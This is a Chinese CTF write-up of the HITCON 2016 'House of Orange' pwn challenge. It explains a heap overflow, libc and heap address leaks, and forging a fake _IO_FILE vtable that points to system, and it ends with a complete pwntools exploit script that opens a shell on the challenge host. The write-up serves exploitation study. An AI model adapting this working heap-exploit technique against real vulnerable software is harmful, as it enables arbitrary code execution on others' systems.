2016 Hitcon House Of Orange

链接:https://pan.baidu.com/s/1f6IBfouAMu1PFnck0vJ41Q
提取码:rg6j

grxer@grxer /m/h/S/c/p/io_file> checksec houseoforange_hitcon_2016 
[*] '/mnt/hgfs/Share/ctfwiki/pwn/io_file/houseoforange_hitcon_2016'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled

Upgrade里没有和原来的大小做比较存在堆溢出,只能申请最多四次,而且只能更新最近的一个orange,没有free项

泄露libc和heap地址

add(0x10,b"a") payload=b'a'*0x10+p64(0)+p64(0x21)+p64(0x1f00000001)+p64(0)*2+p64(0xfa1) edit(len(payload),payload)

先申请小堆块,利用溢出修改topchunk大小,注意我们申请的三个堆是中间的堆,别忘了页对齐

image-20230410091710000

add(0x1000,b'a')

申请的大chunk会把topchunk链入unsortedbin,因为前面会再申请一个0x10大小的chunk所以60变成了80,后面会再切割一个0x8chunk,80变为a0,后面就不会再提了

image-20230410092959397

image-20230410092846998

image-20230410091908716

我们这个时候去随便切割一块就可以拿到main_raena+88的地址,但是我们后面House of orange还会用到堆的地址

这个时候我们需要利用unsortedbin的机制,如果unsorted bin中只有一个chunk且这个chunk是last remainder chunk,申请堆块大小为largebin时,会先把这个chunk放到largedbin里再切割,这个时候会有fd_nextsize和bk_nextsize的链表,由于largebin里只有一个chunk,fd_nextsize和bk_nextsize会链向自己

add(0x400,b'c')

image-20230410132956019

image-20230410122608560

show()直接打印泄露libc基地址

image-20230410122710779

edit(0x10,b'a'*11+b'grxer')把前16个数据覆盖就可以打印出heap地址

house of orange

payload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10
fake_file=b'/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,b'\x00')
# fake_file+=b'grxer666'
fake_file+=p64(heap+0x508+8)
fake_file+=p64(0)*3+p64(system)
payload+=fake_file

image-20230410125530529

注意一下绕过一下中间的块

image-20230410132008871

常规绕过伪造 IO_FILE_plus 这次我们直接把mode改为0(判断条件时<=就行),可以直接ljust到0xd8,到vtable

fake_file+=p64(heap+0x508)
fake_file+=p64(0)*0+p64(system)

这样伪造也可以把_vtable当成我们第一个jump函数,payload更短

pwndbg> p *(struct _IO_FILE_plus*)0x5555557584f0
$1 = {
file = {
_flags = 1852400175,
_IO_read_ptr = 0x60 <error: Cannot access memory at address 0x60>,
_IO_read_end = 0x0,
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = 0,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x5555557585d0
}
pwndbg> p *(struct _IO_jump_t*)0x5555557585d0
$2 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x0,
__overflow = 0x7ffff7a523a0 <__libc_system>,
__underflow = 0x0,
__uflow = 0x0,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}

伪造完成,再申请一个堆块就可以触发__overflow调用链

image-20230410132625782

EXP

from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64')
pwnfile='./houseoforange_hitcon_2016'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
# libc=ELF('./libc-2.23.so')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
if args['REMOTE']:
io = remote('node4.buuoj.cn',"26057")
else:
io = process(pwnfile)
r = lambda x: io.recv(x)
ra = lambda: io.recvall()
rl = lambda: io.recvline(keepends=True)
ru = lambda x: io.recvuntil(x, drop=True)
s = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda x, y: io.sendafter(x, y)
sla = lambda x, y: io.sendlineafter(x, y)
ia = lambda: io.interactive()
c = lambda: io.close()
li = lambda x: log.info(x)
db = lambda x : gdb.attach(io,x)
b = lambda : gdb.attach(io)
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
p =lambda x,y:print("\033[4;36;40m"+x+":\033[0m" + "\033[7;33;40m[*]\033[0m " + "\033[1;31;40m" + hex(y) + "\033[0m")
def add(size,name,price=1,color=1):
ru(b"Your choice : ")
sl(b'1')
ru(b"Length of name :")
sl(str(size).encode())
ru(b"Name :")
s(name)
ru(b"Price of Orange:")
sl(str(price).encode())
ru(b"Color of Orange:")
sl(str(color).encode())

def show():
ru(b"Your choice : ")
sl(b'2')

def edit(size,name,price=1,color=0xddaa):
ru(b"Your choice : ")
sl(b'3')
ru(b"Length of name :")
sl(str(size).encode())
ru(b"Name:")
s(name)
ru(b"Price of Orange:")
sl(str(price).encode())
ru(b"Color of Orange:")
sl(str(color).encode())
add(0x10,b"a")
payload=b'a'*0x10+p64(0)+p64(0x21)+p64(0x1f00000001)+p64(0)*2+p64(0xfa1)
edit(len(payload),payload)
# b()
add(0x1000,b'b')
# b()
add(0x400,b'c')
# b()
show()
ru(' house : ')
libcbase=uu64(r(6))-0x3c5163
p('libcbase',libcbase)
unsorted_bin=libcbase+0x68+libc.symbols['__malloc_hook']
_IO_list_all=libcbase+libc.symbols['_IO_list_all']
system=libcbase+libc.symbols['system']
p('libc',libcbase)
p('unsotr',unsorted_bin)
p('iolist',_IO_list_all)
edit(0x10,b'a'*11+b'grxer')
show()
ru('grxer')
heap=uu64(r(6))
p('heap',heap)

payload=b'a'*0x400+p64(0)+p64(0x21)+b'a'*0x10
fake_file=b'/bin/sh\x00'+p64(0x60)
fake_file+=p64(0)+p64(_IO_list_all-0x10)
fake_file+=p64(0)+p64(1)
fake_file=fake_file.ljust(0xd8,b'\x00')
# fake_file+=b'grxer666'
fake_file+=p64(heap+0x508+8)
fake_file+=p64(0)*3+p64(system)
payload+=fake_file
edit(len(payload),payload)
# b()
ru(b"Your choice : ")
sl(b'1')
io.interactive()